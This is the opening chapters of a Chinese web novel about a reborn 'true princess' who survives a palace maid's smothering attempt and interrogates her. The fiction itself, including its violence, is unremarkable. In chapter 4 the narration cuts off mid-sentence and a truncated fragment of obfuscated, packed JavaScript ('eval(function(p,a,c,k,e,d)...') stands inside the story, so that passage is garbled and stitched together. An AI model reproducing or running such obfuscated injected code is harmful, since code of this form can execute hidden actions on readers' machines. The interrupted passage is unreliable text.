《天幕坑我!》 1. 第 1 章 二月,阴雨天的夜,漆黑如墨,天上看不见一点星子,衬得路旁驿站的灯火更是亮得刺眼。 灯火吸引了飞蛾,也迷惑了不少本想夜间觅食的小动物,比如鸟儿。一只暗色的乌鸦,便抛弃了自己原本的觅食计划,静静地停在驿站旁的一棵柳树枝丫上,一边啄食着柳树曝出的新蕊,一边眼睛灵动得看着驿站内的动静,活像一个暗夜的探子。 竹木制成的风铃,被风戏弄得你追我打胡乱作响。 风铃之下,驿站最好的二楼房间内,门突然吱呀一声被打了开来,一个身穿青衣服饰,四十多岁,面部已显松弛的女官,从房间内迈出半个脚步,看向房门外左右侍立着的四名虎贲禁卫,小声吩咐道, “殿下已安睡,阳女官今儿个腹泻,不能值守,今儿个我一个人值夜,请诸位务必警惕!”她的声音压得极低,却字字清晰。 四名禁卫肃然领命,对此叮嘱也早已习以为常。毕竟,从晋中至洛京这一路,都快六天了,黄女官几乎夜夜如此吩咐,其尽心尽责所有人都看在眼里。所以,哪怕今晚只有她一人值守,禁卫们也没有多心。 “黄女官放心!”很快,四名禁卫中的佐尉刘辉便双手抱拳道,“我等绝对不敢有丝毫松懈。”这可是真假公主传闻中的真公主,还是天兆所言的未来昭明女帝,分量重逾千钧,谁敢松懈。万一真出事了,九族的脑袋怕是都不够掉的。 黄女官似乎放下了心来,点了点头,“拜托了。” 随后,门便再次轻轻的阖上。 门后,那名被禁卫们信任不疑的女官,脸上那和蔼亲切的神情,立马如潮水般褪去,取而代之的是面无表情的冷硬。她扭头看向房间内那青色帷幔遮掩的床上,眼中有过片刻挣扎,但很快闭了闭眼,彻底下定了决心,缓缓得向床的位置走去,眼中也不再有丝毫犹豫之态。 乌鸦颇为好奇得跳上房间的檐脊,随后揪准一个空隙,伸长脖子好奇得看向屋内。 熄灭了大部分烛火,只留一盏小灯昭明的房间内,视线很是昏暗。里面所有陈设,譬如灯架,案几,都模糊不清得犹如一团黑影。黄女官拿着烛火,垫着脚步轻轻得靠近青色帷幔,她的动作轻巧又细微,彷佛暗夜中的老鼠潜行,丝毫未惊动房外的禁卫。 走到青色帷幔旁后,黄女官并没有第一时间掀开青色帷幔,而是轻轻呼唤了一声。 “殿下——” 待听到没有任何动静之后,她方才将烛火置于一旁的案几上,轻轻挑开厚重的青色帷幔。 很快,青色帷幔内睡着人的脸,便呈现在了乌鸦和黄女官的眼中。那是一张又瘦又黄的脸,初看几乎和西雍国那遍地日日劳作的农人几乎没有多大区别,唯一的区别大概是这张脸的主人年纪还小,脸上还没有老农的那种黑黢黢。 她就那样安静的躺着,被厚重的丝绸锦被盖着,一动也不动,只露出头部那小小瘦瘦的一团,彷佛被稍微厚一点的被子盖一下就会窒息。若非胸口上被子还能看到规律性的微微起伏动静,乍然一看之下人们估摸着还以为这是一具尸体呢。 不过,很快,她就要真正变成一具尸体了。“莫怪我,怪就怪那天意,竟然说你一介女子会成为皇帝。一切都是你的命!你挡了太多人的路了,洛京那边就没有几个人希望你活着。”她小声嘀咕道,不知道是说给眼前躺着的人听的,还是说给自己听的。 随后,她便躬身上前,轻轻的将床上之人盖的被子提起来,蒙住她的脑袋。 好奇的乌鸦见此瞳孔一缩,差点尖叫出声。 然而,还没等它张嘴大叫,房间内的黄女官便上前一步,将自己的身体狠狠得压了上去,彻底阻断了床上之人呼吸的最后一丝可能。她并不担心床上之人会突然惊醒挣扎,自己做了什么,她自己心里很清楚。临睡前那碗安神汤,可不只是安神那么简单。 果然,哪怕她如此动作,身下的人也未传出任何挣扎的痕迹。 唯有乌鸦,从那因为被子被拉起,从而裸露出来的小脚中,看到了那躺在床上的人努力挣扎出的一丝颤抖。 一分钟过去了! 二分钟过去了! 三分钟过去了! 眼看着黄女官还在使劲压着床上的人! 乌鸦终于忍不住惊叫了起来,“嘎——” 黄女官大惊,原本下压的身体立马跳了起来,她原本以为是有人看到了自己谋杀公主,吓得整个人脸都白了,快速的看向乌鸦所在的屋檐方向,直到看到上面隐隐约约的鸟类身影,这才重重得松了一口气。 而此刻,门外的虎贲禁卫们也被惊了一下,听到声响立马敲响了门。 “黄女官,怎么了?” 黄女官并没有立马出声,她抚了抚自己那急速跳动的心,待心绪平缓了,脸也没那么苍白了。随后,又将床上人盖的被子,拉到正常的下颌处,这才走到门边,再一次打开房门,看向守门的虎贲禁卫们,低声道,“吓死老妇了,房间里竟然跑进来一只鸟,幸亏没吓到殿下!” 禁军中的佐尉刘辉一听,立马道,“可要我等驱赶?” 黄女官立马摇头,“别,一只鸟而已,它自己就会飞走。若你们都进来,人一多,殿下会被惊醒的!” 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除了死,她已别无选择,而且,必须是今晚死,天子才不会怀疑到她身上,她的家人才能保全。 不过,黄女官再次看向床上那一动不动的身影,她知道有些人,即使暂时闭过气去,还是会突然活过来的。作为一个女官,她见过太多类似的例子了。她再次走到床边,拿起一根线,又一次试探了床上之人的呼吸。 眼见再次毫无动静,黄女官沉重的心这才顿时松了一口气。 她不再管青色帷幔内的人,缓步走到窗边,小心的撑着窗框,然后轻轻的往外移,一点一点将窗打开,没有弄出一点声响。随后,走到房间内那个已经被她整理出来,用来值守的一个角落,拉了拉铺在上面的被子,将身体蜷缩在上面。随后,从被子上拿出一把铁制匕首,静静地摩挲着上面锋利的刀刃。 “真冷啊!”黄女官忍不住想。 和这二月的天一样冷。明明该是草长莺飞的季节,却偏偏才暖了两天,便再次乍现寒意。风从窗户中进来,跟冰刀子一样,冻得她直哆嗦,好像又回到了小时候没有衣服穿,只能一家人围着一个火盆的日子。不过,好在她的侄子们不需要受这份苦了,甚至可以借此踏入士人阶级。这一切便值了。 想到这里,黄女官不再犹豫,将匕首对准自己的心肺处狠狠的插了进去。 只是,到底心有不甘,手便偏了几分。 同时,被剧痛折磨的黄女官并不知道,那青色帷幔里面原本一动不动被捂死的人,眼皮突然又抖动了起来。 2. 第 2 章 林昭是在一阵剧烈头痛中醒来的。 醒来后发现自己不仅头痛,胸口更是像被压了一块巨石一般窒息得要死,彷佛下一秒就要直接厥过去。她张了张嘴,试图以嘴呼吸,却发现嘴巴里面更是像被塞了一团棉花一样难受得要死。努力睁开双眼,则直接视野模糊,连案几旁的燃着的灯都看不清。 由此,林昭便知道,原主怕是被人下药了。 想到原主,林昭便忍不住叹气,惨、实在是太惨了,比她这个现代被大领导各种欺压,暗地里被属下背刺的企业高管都惨。在现代她虽然每天都需要勾心斗角,各种使心眼子,但最起码不用担心吃穿啊,想买啥就能买啥。 可原主呢,光有个高贵的血脉,却是个纯纯给团宠女主高贵身份的背景板工具人。 这是一个由古早真假公主团宠文衍生的世界,故事的设定是魏晋之后的南北朝混乱时代。不过,这里的南北朝显然并不是现代历史上的南北朝十六国,毕竟,她所在那个世界线里的南北朝,可没有林姓皇室和西雍国。而这个世界,不仅出现了西雍国,还有北周国,南越国,北周国边上还有庆国、陈国。 而原主,就是西雍国一名被抱错的真公主,还是带着不甘重生了三次的那种。 第一世,原主其实并不知晓自己的身份,从小就被家人虐待,还被人卖给老官吏冲喜,受尽侮辱而死,她也只以为自己命该如此。可谁料,原主死后竟然灵魂未散,亲眼看到了宫中来人,也知晓了自己的身份。更让她无法接受的是,得知她的死讯,宫中没有一个人在意,竟然只有假公主林明珠哭唧唧了几下。 原主无法忍受这样一个事实,所以她重生了。 第二世,她费尽千辛万苦去到了西雍国的都城洛京,拦住了一辆权贵的马车,本想通过他们将自己的身份曝出去,结果刚喊出自己才是真公主这句话,就莫名其妙被杀了。 死后原主才知道,自己拦的是北周二皇子的马车,而这个北周二皇子喜欢的人,正是假公主林明珠。 很显然,她这是被斩草除根了。 第三世,原主吸取了第二世重生的教训,也学聪明了一点。去了京城之后,并没有鲁莽地拦马车。她打听了许久,打听到了西雍国当今右仆射李元的住宅。这才借助右仆射这个台阶,见到了西雍国的武德帝,拿回自己的身份,成为一名真正的公主。 然而,原主还是想得太简单了,她以为自己当上公主,就能荣华富贵一生。 没想到,当公主也有受宠的公主和受冷落的公主之分。她又不是团宠女主,又没有其他特殊价值,哪怕是真公主也照样被皇家厌弃。5年后,更是因为北蛮一个小国求婚,就被随便和亲,在北蛮受尽凌辱而死! 所以,这已经是原主第三次重生,不同的是,这一次雍国天空上突然出现了一个天幕,而那天幕上出现的第一句话就是: 【今天我们要聊一聊那些天崩开局,却创造非凡传说的帝王,而其中首当其中的便是改写西雍国亡国命运,硬生生将西雍国变为雍朝,续雍朝四百年国运的昭明女帝,林昭。 武德二十年,武德帝四十五岁,距离他去世只剩六年,距离西雍差点亡国还有10年,此时,整个西雍国西雍却依然处于世家掌控之中,武德帝一直想要分化世家权利而不得,儿子们更是个个争斗得十分厉害。四十五岁的高祖他回望自己仅有的几个儿子时,却发现自己不知道该选择谁作为下一任继承人。 “竟不知谁能继承吾之志?“史书上记载。 而此刻,这位雍高祖不知道的是,他未来的真正继承人并不是他以为的皇子,而是一个公主。此刻,我们未来的昭明帝也不在皇宫,据说还在田里头插秧!】 天幕一出,天下哗然,因为雍国皇室根本没有林昭这样一个人,待听了天幕的具体介绍才知道,被所有人喜爱的明珠公主竟然是个假公主,真公主是昭明女帝,而且,此刻的昭明女帝因为抱错了,此刻还是个农家女! 武德帝:?? 文武百官:?? 一介公主成了皇帝就算了?还是个前十几年都是农家女的公主,这怎么可能? 简直是滑天下之大稽。 可众目睽睽之下,天兆所示,又不是仅一人看见,事情自然必须弄清楚。 很快武德帝便将当初贵妃破庙产子,阴差阳错抱错孩子这件事查清楚了,而原主也被人找到,被虎贲军快马加鞭护送前往西雍国的国都洛京。一切彷佛都在往好的方向发展。最起码,有了天幕的存在,原主不太可能会被送去和亲。 可谁知,幸也天幕,不幸也天幕。天幕让她被看见了,也成为了她的催命符。 原主这次甚至都还没来得及真正踏入那象征权力巅峰的帝都,不过第六天,就被随虎贲禁卫一起来的宫中女官在饮食中下了药,然后用锦被死死捂住了她的口鼻,捂死在这驿站的床榻之上。悄无声息的,如同碾死一只无足轻重的蚂蚁! 这样的杀人手段,和传说中的满清十大酷刑贴加官有啥区别。 想到那个捂死了原主的女官,林昭手指微不可察的蜷缩了一下,她强忍下原主残留的恨意和惊恐,试探性拉住床边的青色帷幔轻轻的一扯。“嘎吱——”床架发出一阵木头被扯动的咯吱声,声音虽然不大,但在这小小的房间内格外清晰。 林昭听到这番动静立马停了下来,装作一动不动木头人一样,静静得倾听着外面的动静。 青色帷幔外面却毫无动静。 一片死寂! 只隐约能听到风呼呼吹进来的声音,以及随着风传来的窸窸窣窣的各种虫鸣声。 林昭等待了一会儿,见真的毫无动静,又再一次重复了刚刚的一遍动作。只是这一次,她扯青色帷幔的力道明显重了不少,“嘎吱——嘎吱——”床架的木头发出了比刚刚更加响的扯动声。 林昭再次凝神屏气,静听着外面的动静。 青色帷幔之外,依然毫无动静! 林昭心中有了底,看来那个捂杀原主的女官,要么出去了,要么去做了其他事。就是现在了,她立马下了决断,猛的深吸一口气,强忍着几乎要将她撕裂的头痛和胸腔的窒息感,一把将青色帷幔扯开。 随即用尽这具身体残余的力气,抡起一只胳膊猛的扫向床边的案几。 “哐当——啪嚓!!!” 灰白瓷珍贵茶具被狠狠地扫落在地,直接四分五裂起来,碎裂的声响刺耳又突兀,立马惊醒了守在房门外虎贲禁卫们。四人直接打了一个激灵,瞬间从刚刚还昏昏欲睡中的状 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可这样的情况,显然已经超出他们能够处理的范畴。刘辉定了定心,强行让自己镇定了下来,先派出一名禁卫快速冲出房间,将如今的情况报告此次行动的领头人,西雍国虎贲军中郎将林霄。随后,看了一眼床沿厚重的帷帐,也没有立马上前掀开查看,而是深吸了一口房间内带着血腥味的冰冷空气,领着其他三人直接在床边跪了下来,用尽力气高喊道, “殿下,虎贲佐尉刘辉求见!” 很显然,他希望以这样的方式,确认帷帐中人的安危。 帷帐之内,林昭立马就意识道了刘辉的目的。不过她但并没有着急着发出声音,只是静静地躺着,仔细聆听着外面的动静。,经历过黄女官这件事之后,她对帷帐外的禁卫都失去了信任。虽然林昭也清楚,原主被捂死的时候,因为事先被下了药,无法挣扎发出声音,与这些守在门外的禁卫没有关系。 可谁又清楚,这里面是否有那女官的同伙潜藏其中呢?万一这些人进来不是为了护卫她,而是来补刀的? 她岂不是又要死一次? 一动不如一静,此时此刻,无论她再怎么谨慎都不为过! 她如今唯一能够信任的人只有一个,西雍国虎贲军中郎将林霄,即武德帝绝对的心腹。 林昭虽然没有当过皇帝,但她也好歹是一方大领导,她比任何人都清楚,一个由权臣谋朝篡位上位的帝王,对自己江山的在乎。特别是经历了十六国时期的混乱,在南北朝这样一个道德底线已经开始下行,王朝更迭频繁的时代,但凡有点势力的权臣,都想上位做一做皇帝。而每一次王朝的覆灭,基本都意味着上一代王室后代的全部倾覆。 武德帝自己没杀卫恭帝,也不过是因为善良,纯纯是为了个好名声而已。 所以,哪怕为了不让自己断子绝孙,武德帝也不会让她死。 在天幕说出那句类似谶语般的——昭明女帝续雍朝四百年国运——这句话时,她的命就不再掌控在自己手里,而是掌控在这具身体的父亲武德帝手上。在没有见到她之前,他是绝不会允许她死掉。能够被派来接她,林霄绝对是武德帝最信任的人。 谁都会背叛,唯独林霄不可能。 3. 第 3 章 很快,一个沉重的脚步声便出现在房间,正是此次负责接回天兆所言真公主的虎贲中郎将林霄。 纵然因为事情的突发让他失去了些往日一惯的沉稳,林霄的脚步凌乱中却依然矫健有力,昏黄的灯光下,那张沉毅却目光犀利的面容,更是透着一股久经沙场才有的锋利和冷硬。 林霄一走进房间,眼神便快速的将整个房间的打量了一遍——打开的窗户,死去的女官,打碎的茶盏,跪着的禁卫军,还有那被厚重帷幔遮挡一动也不动的床,虽然早已从通报的禁卫中知道了事情的大概,眼前的场景依然令他脸色微变。 怎么回事?女官怎么会在驿站的房间被杀?是被谁杀的?刺客?他虽然只在这间房外布置四名禁卫,但实际上房间外面整个驿站内可是有整整两百名虎贲军守护,现实又不是武侠小说,谁又能够越过他布置的重重防线进入这个房间?太子,二皇子,三皇子还是宋家、谢家、王家派来的人? 最重要的是,公主殿下如何?她还好吗?还是说,已经被害? 一瞬间,林霄心中想了很多,他先是走到黄女官面前,试探了一下她的鼻息,发现她已经奄奄一息了。随后目光才从女官,逐步移到床边破碎的茶盏,最后停在那一动也不动的帷幔上。 青色帷幔看上去很正常,既没有被人骤然掀开,也没有被斩断的痕迹。最重要的是,没有任何血迹。林霄微微松了一口气,可他看了一眼跪着的佐尉刘辉几人,脸色立马又凝重起来,缓步慢慢的走上前,同样单膝跪地高声喊道, “臣,虎贲军中郎将林霄,求见!” 林昭等的就是这个时刻,她的身体已经出现了很严重症状了,也不知道那女官到底给她下了什么药,喉咙一直在不断发紧,视野更是模糊得很,胸口憋闷的感觉越来越强烈。要不是头实在是痛,她估摸着早就在这几近窒息中晕过去了。 此刻,听到林霄的声音,林昭立马掀开了帐幔,将手伸了出去,命令道。 “掀开——” 只是,到底喉咙难受,声音也变得沙哑细弱。 中郎将林霄心里其实已经做好了最坏的准备,毕竟,佐尉刘辉他们跪了不短时间了,也没见帷幔内有人出声。会造成这样的情况只有两种可能,要么人已经晕了,要么已经出事了。而从女官的惨状来看,第二种的可能性更大。 正因为心内已隐约有所判断,哪怕他做了和佐尉他们一样的动作,林霄却并没有抱太大的期望,只打算走完这步流程之后便立马掀开帷幔,查看公主的状况。可他没想到,自己这边刚求见完,帷幔内竟然真传来声音。虽然声音听起来很细弱,却的确是他要保护的公主的声音。 事情突然峰回路转,林霄直接大踏步上前,如公主所命令般掀开了帐幔。 “殿下——” 帷幔被掀开,视野瞬间变得光亮起来,林昭下意识地眯了眯眼。虽然依然看不见眼前的人,但林昭早已在原主的记忆中,直到中郎将林霄此人的性情。简单来说,这就是一个做事认真,不苟言笑,性情沉稳刚毅,直来直去的人,一个非常典型的武将。 这份认知,也让林昭放弃了委婉说话的打算。 毕竟,时间不等人。不管那个女官给她吃了什么,让她变成了现在这样的模样,如今最重要的事情就是催吐,将胃里的东西吐掉。想到这里,林昭下意识得将脸朝林霄所在的方向看去,再次直接吩咐道, “给我一根箸(即筷子)!” 林霄没想到,自己会听到这样一个奇怪的命令。 他目光如电般扫了一眼床上那蜷缩在锦绣堆里的公主,依然和6天前他刚找到她时一样,黝黑、矮小、瘦弱,虽然已经13岁,身形却仿佛未长开的十岁儿童,与洛京那个从小金尊玉贵养在宫里的假公主,几乎是天差地别的区别。 明明是个从小在农家虐待长大的懦弱女童,可就在刚刚,他却彷佛在这具瘦弱的孩童身体里,看到了一股属于帝王的威严。特别是那双眼睛看向自己的时候,那原本带着怯弱且闪躲的眼神不见了,取而代之的是一种理所当然和不容置疑。让人即便觉得命令很荒谬,也升不起对她的质疑。 林霄直接用眼神示意身旁的禁卫去做,很快,一双箸就被人呈了上来。 “殿下,箸来了!” 林昭点头,继续下命令道,“备盂。” 林霄点头,再次示意身旁的禁卫,很快,一个灰色敞口的盂被禁卫抱了上来。 林昭立马拿起筷子,将其伸进舌头根部,对着盂吐了起来。很快,房间内便弥漫起了呕吐物所特有的臭酸味,其中更是夹杂着丝丝血腥味。很显然,毒已经对她的胃造成了伤害。 房间内的禁卫们立马神色大变,如此明显的症状,除了中毒他们几乎想不到其他可能。哪怕沉稳如林霄,此刻的脸色也不好起来。如果说,女官的死还有可能将其归咎为外部某个刺客的问题。那么,此刻公主中毒只有一个原因,他们中有人背叛了陛下。 要知道,自从天兆出现,陛下知晓自己有这样一个女儿,并且这个女儿未来还是个能够为西雍国续命四百年的女帝后,武德帝便暗中监控了洛京百官以及皇子们的一切行动,且所有调查都是派绝对的心腹去做的。 人找到了之后,为了将人安全带回,武德帝更是煞费苦心,直接布下了迷魂阵。明面上大张旗鼓得派羽林中郎将魏玉出京,说是接回那个真公主,实则只是吸引百官特别是皇子们势力的视线和火力,暗地里则派他以护送珍宝的名义,带着两百名心腹直接护送公主回京。甚至队伍里照顾公主的两名女官,都是武德帝特意派出的老人。 如此配置,会是谁背叛了陛下? 因为黄女官胸口插了那么一刀, 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林霄震惊得看了林昭一眼,随后又看向床边蜷缩在地,胸口依然插着刀,还能看到有血迹在不断沁出来的黄女官,莫非毒害公主的人是这位女官,可为何她的胸口反而插了一刀。中郎将林霄格外不解,但他还是如实回道, “殿下,黄女官胸口被刺了一刀,目前已奄奄一息!” “奄奄一息?”林昭挑眉,这发展的确有点出乎她预料了。不过,她很快想通了其中缘由。能被派来接她的女官,必是皇帝信任的人,想必她的家人是谁,皇帝都一清二楚。她死了,那女官就算逃了,她的家人也逃不掉。相反,她如果死了,不仅能够彻底掩盖真相,搞不好皇帝念在旧情的份上,不仅不会纠责,还会赏赐她家。 呵~好算计!林昭忍不住想道。 “既然奄奄一息,就说明还没死透,人呢?””林昭声音丝毫没有起伏,说出的话却让人莫名发寒。 最起码,佐尉刘辉和另外三名禁卫心肝就忍不住颤了一下。今儿个对他们而言,可谓是一波三四折,心态起起伏伏真宛如过山车一样。最开始,看到房间那血腥一幕的刹那,刘辉他们都以为自己必死无疑了,整个人都绝望至极。 谁料,中郎将一来,公主便出声了,瞬间将他们从地狱中拯救了出来。 公主没事,按道理他们可以松一口气的,谁知下一秒,就看到她自己给自己催吐,明晃晃告诉他们,她中毒了。几人看着公主那带着血腥味的呕吐物,心又沉了下去。陛下可不是一个仁厚之人,如果因此迁怒他们,纵然公主没死,他们怕也要人头不保。 想要活下去,就只能将功赎罪,尽量讨好眼前这个公主。想到这里,几人都等不及林霄示意了,一听到公主的命令,便如狼似虎地扑向地上那滩蠕动的血污,粗暴的将那奄奄一息的黄女官拖到林昭的床边。 “殿下,黄女官在此!”刘辉高声道。 4. 第 4 章 林昭迎着声音的方向望去,视野中却看不到那人的脸,只看到一团青色中泛红的长条人形。谁能想到呢,林昭心中冷不住泛起一抹自嘲,中个毒还能中出天然马赛克。她揉了揉自己的双眼,也知道一时半会这视物模糊是恢复不了的了。 不过,好在她也不是一定要看清楚那张脸,她只要知道是那个人就行。让人将黄女官拖过来,除了想要报仇之外,她还有一个目的:问出女官背后指使的真正凶手。 毕竟,依照原主第三世的记忆来看的话,此刻有动机想杀她的人实在太多了。 作为天幕所言的天兆女帝,如今的洛京于她而言,绝对是虎狼之窝,除了武德帝以及少数几个他的绝对心腹,谁都有杀她的可能,稍有不慎就可能被吞噬殆尽。若不是来这个世界时已经被武德帝找到,林昭是绝不会在此刻搅入洛京这趟浑水中的。 可如今她也没有了其他选择,前方纵是龙潭虎穴,她也只能闯一闯。避无可避,为了接下来的安全,她自然希望揪出幕后那只伸向她的黑手!知己知彼,方能百战百胜不是? 想到这里,林昭的目光再次投向马赛克般的黄女官身上,指尖轻敲旁边的床架,平静的问道, “能让她醒来吗,我有几句话想问她?” 刘辉一怔,完全没想到公主会问出这样一个问题——让一个血都快流干的将死之人“醒来”?着实让人有点摸不着头脑。在他看来,黄女官如今就剩最后几口气了,气息微弱如风中残烛。若不是那个匕首不知因何原因偏了一点,没有精准的扎在她的心肺上,此刻的她早就死了,更别说醒来。 可这是公主的命令,他看了一眼身旁的中郎将林霄,领导也没有阻止的意思。到底将功折罪的心更为急切,刘辉咬了咬牙,直接拿出了他在军中的狠厉劲,让旁边的禁卫去外面取了一桶冰水上来。 那禁卫立马明白了刘辉的意思,脸上掠过一丝不忍,禁卫并没有想到下毒之人可能是黄女官,在他看来这几日黄女官都兢兢业业的照顾着公主,如今又被人刺杀,按道理该是有功的,着实不该如此被对待。可到底碍于命令,禁卫也没办法,只能快速去外面提了一通冰水过来。 二月乍暖还寒的天,又是这样一个三更半夜的时间,随便在外面提一桶水,便冷的彻骨。 看到禁卫将水提了起来,刘辉随即又看了中郎将林霄一眼,得到他肯定的示意之后,立马将黄女官拖到一边,随后,冰水桶朝着她身上一举,“哗啦!!!”,他直接将冰冷刺骨的水,从她头上兜头浇下。 冰水的刺激果然有用,竟然真硬生生将黄女官从鬼门关粗暴得拽了回来。很快,房间里的众人便听到了黄女官凄厉的惨叫声。 “啊——” 就连她那原本紧闭的双眼,也在这番寒冷的刺激下,睁了开来。 然而,黄女官显然对这份被强行拽回的“生机”毫无感激,只有刻骨的恐惧和彻底的崩溃!特别是当她被刘辉几人再一次拖到林昭床前,看清楚林昭那端坐床榻,活生生得丝毫没有任何死人该有气息的面孔时,心中的崩溃更甚。 不过,到底是在宫里生活了几十年的老人,纵然已经濒死,理智还是让她压抑住了那份恐惧,并做出了对自己最有利的一个选择,眼中的恐惧立马褪去,取而代之的一种带着“激动”和“欣慰”的神情。 “殿下,万幸你没事,奴婢还以为......” 说着说着,眼泪便从眼眶中如珍珠一般流了下来,不知道的还以为,此人多么忠肝义胆呢。林昭看了一眼拖着黄女官身体的禁卫,发现还真有一个傻子信了黄女官的话,脸上露出了同情的笑容。 “奴婢该死,有负陛下信任,竟让贼人钻了空子.........奴婢想要以死相拼,哪知道贼人如此厉害,奴婢.......奴婢竟连声音都还没来得及发出,就被贼人........”说着,她低头看了一眼胸口的匕首,露出一个惨淡的笑容,“好在.......殿下没事.......奴婢......” 眼看着黄女官的忠心戏码愈演愈娴熟,就连刚刚兜水给她一桶冷水的佐尉刘辉,脸上都露出迷惑的表情。 林昭没有了陪她演戏的耐心,她直接从床上起来,缓缓的走到黄女官面前,凑近看着眼前的女人。因为距离近的原因,她终于能够看清楚此人的面容了。典型的中年妇女形象,脸略微有点长,身体略瘦,皮肤却并不黑,显然在宫中过得并不差。相比而言,原主这个真公主真是惨的一笔。想到这里,她直接嗤笑一声,嘲弄道, “黄姑姑,何必再演戏呢,事实真相如何,你我心知肚明。先捂死我,然后你再假装被刺,将所有的罪责都推脱给不知名的刺客,黄姑姑果然好算计。” 黄女官怎么可能会认呢,杀公主可是诛九族的罪过,“殿下,奴婢不知道你是什么意思,奴婢也是受害者啊!” “我看见你用被子捂着我!”林昭直接放大招。 “不……不可能!!!”黄女官瞳孔剧缩,整个人脸上都呈现出巨大的震惊,青灰色的嘴唇剧烈颤抖着,努力了许久喉咙才发出断断续续得难以置信的声音,“不可能........你怎么可能看得见我......你当时分明昏迷了!”说完,她这才意识到自己暴露了什么,她竟然直接承认了自己杀公主这个事实。 这个时候黄女官才明白,自己是被眼前的公主拉入了语言陷阱之中。很显然,她是故意这样说的,就是为了让她失态,进而暴露自己。黄女官大睁着眼睛,打量着眼前的女孩,这个传说中的真公主。 她一直没将眼前的所谓公主放在眼里,不过是一个乡野长大的野孩子,就算是金枝玉叶又如何,还不是有那么命没那个运。伺候这位公主的这几天,看着她小心翼翼胆战心惊的模样,黄女官内心更是看不起。这样的一个人,竟然也配叫公主? 正因为如此,哪怕明知道这个公主与自己无冤无仇,捂死她黄女官内心也没啥愧疚感,要怪就怪她命不好,挡了别人的路。在这样一个乱世颠沛流离的时代,上一刻公主,下一刻沦为阶下囚的人,多的是。 可如今,她再去看眼前的公主时,却悚然得发现,曾经她以为可以随意拿捏的幼虎,似乎露出了獠牙,完全变了一副模样。 “你——不对!你不是公主!你........”黄女官震惊不已,或许是因为明白自己以及自己家都已经罪无可恕,她直接语无伦次起来,“你怎么可能还活着!你明明已经死了?........我探过你的........的鼻息..........探了......两次.........你怎么会……你怎么会还活着?!!!不可能.......你绝对不是公主,你就是妖孽!” “那真是不好意思,我还真就活下来了,毕竟,我可是未来的天命女帝啊,天命所归!” 林昭直接慢悠悠得道,根本不去自证自己是不是公主,直接拿出天命女帝这件事来说?反正天幕都出来了,在这样的封建古代,她这个未来女帝身上如果没点子神异,又怎么能配得上天命女帝这样的称呼呢?况且,别人也不知道灵魂替换这样的事,她正好以此为借口掩饰自己的性情能力大变。 死而复生,生死之间可是有大恐怖的,突然之间变个人也不是什么不能理解的吧!西雍国国都洛京那样的地方,一个农家女可是玩不转的,她也没有心情一直去假装扮演一个什么都不懂的农家女。 说完刚刚那句话后,林昭立时话锋一转,便直击要害道,“不过——”林昭故意拖长声音,带着一种令人毛骨悚然的玩味般说道,“你的那些兄弟姊妹,你的子侄们,可能就没那么好运了。” 濒死的黄女官呼吸一重,立马张开嘴,想要说什么。 不过,林昭并没有给她说话的机会,而是侧头看向静默得站在她身侧的林霄,“林中郎,你说,刺杀公主该是什么罪来着?” 公主的话很轻,彷佛在和人聊一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“黄姑姑,你听到了吗?你不用担心黄泉路上孤单了!”林昭语气近乎温柔的说道,“很快,那些你想要帮扶的人,你的兄弟姊妹,你的侄子侄女,甚至你的侄孙子侄孙女,都将一个不少得,步上你的后尘。” 林昭直接用最轻飘的声音,说出了最狠毒的判决。 说完,她还顺手拿起刚刚漱口的茶盏,慢悠悠得喝了一口,待如愿看到黄女官脸上愈发惊恐和崩溃时,方才继续用温柔的语气,轻声补上了最后一刀:“你说,当他们刀斧加身的那一刻,会怎么怨你呢?” “你——”黄女官几乎目眦欲裂,所有的理智都在这一步步的威逼中崩塌了。她可是为了黄家这才做下杀害公主这样的事情的啊,又怎么能够受得了,因为自己的原因反而害了整个黄家呢,这简直比让她杀死自己还难受。 就在黄女官被这诛心之言彻底击垮,精神防线完全崩溃的瞬间,林昭抓住机会,直接说出了自己的目的,“说吧,是谁指使你杀我的!说出来——”说着,她的声音微微压低,缓缓凑近黄女官耳边说道,“我兴许还能帮你求个情。” “你——”转折来得太快,早已恍惚的黄女官甚至都有点反应不过来。然而,林昭刚刚最后的那句话,对早已深陷绝望的她而言,就犹如溺水之人突然看见一颗救命稻草,哪怕只有一丝希望,她也想要抓住,“当——” “自然当真!”林昭肯定的道,黄家的大人是肯定无法饶了,但小孩子还是能救一救的。她毕竟是现代人,哪怕身处古代,也不是很想因为自己的原因,杀害小孩子。 不过,她还是补充道,“别浪费时间!不然,我可不保证——” 黄女官大张着嘴,喉咙颤了好几下,吐出了一个清晰的字音出来。“王——” 听到这里,林昭的心猛地提起,目光紧紧得盯着她,等待着最后答案的揭晓。不出意外,下一刻她就能知道,是谁在背后指使她杀自己。 然而,令林昭万万没想到的是,一个“王”字刚吐出去,黄女官便仿佛用尽了所有力气一般,嘴巴开开合合了半天,也没再说出其他字来,只吐出一连串短促而空洞的抽气声后,“呃……嗬……” 随后,整个人便犹如抽去了灵魂的木偶一样,瞳孔散大,头歪侧边一歪,彻底没有了声息。甚至都不用确认,林昭都能知道,这人怕是彻底死翘翘了。 算计了一切结果什么都没问到的林昭:?? 带着王这个字的答案实在太多了,是X王,还是王X?是王家?王昭仪?还是某个王爷?她根本无法由此推导出答案。 5. 第 5 章 很快,驿站发生的事情,便被林霄派人快马加鞭报告到了武德帝面前。 洛京的二月,正是柳絮飘飞的时节。本就乍暖还寒的天,阴沉沉的,飘飞柳絮更是如同不合时宜的春雪,在空中随风漫卷,汤汤扬扬,落在黑砖青瓦的宫殿屋檐上,汉白玉做跸阶栏杆上,奇石叠成的假山上,以及宫道上一个个静默行走的内侍宫女们身上。 很快,一个身穿青衣的内侍的出现,手捧着林霄书写的信件,朝乾安殿快速的奔去,彻底打破了这份寂静。不过,大概是奔走得太急了,情急之下,一个呼吸间竟然吸入了好大一团柳絮,喉头一痒,内侍几乎是立马条件反射般想打一个哈欠。 到底是天子宫殿门前,想到天子那厚重的威压,和阴晴不定的暴戾脾气,内侍看了看自己手中这封信件,到底还是压制住了自己,默默低着头,生生将那声哈欠咽回腹中,尽可能放缓呼吸,蹙着眉头,静默得与这场恼人的春雪抵抗。 很快,内侍就来到了皇帝陛下办公的乾安殿侧殿。 而此刻,乾安殿内,西雍国开国皇帝林洋也就是武德帝眉头深蹙着,心情同样不好。准确点来说,自从那天空中天兆出现之后,皇帝的心情就再也没有开怀过了,眉宇间凝聚的寒意,更是一天甚过一天。 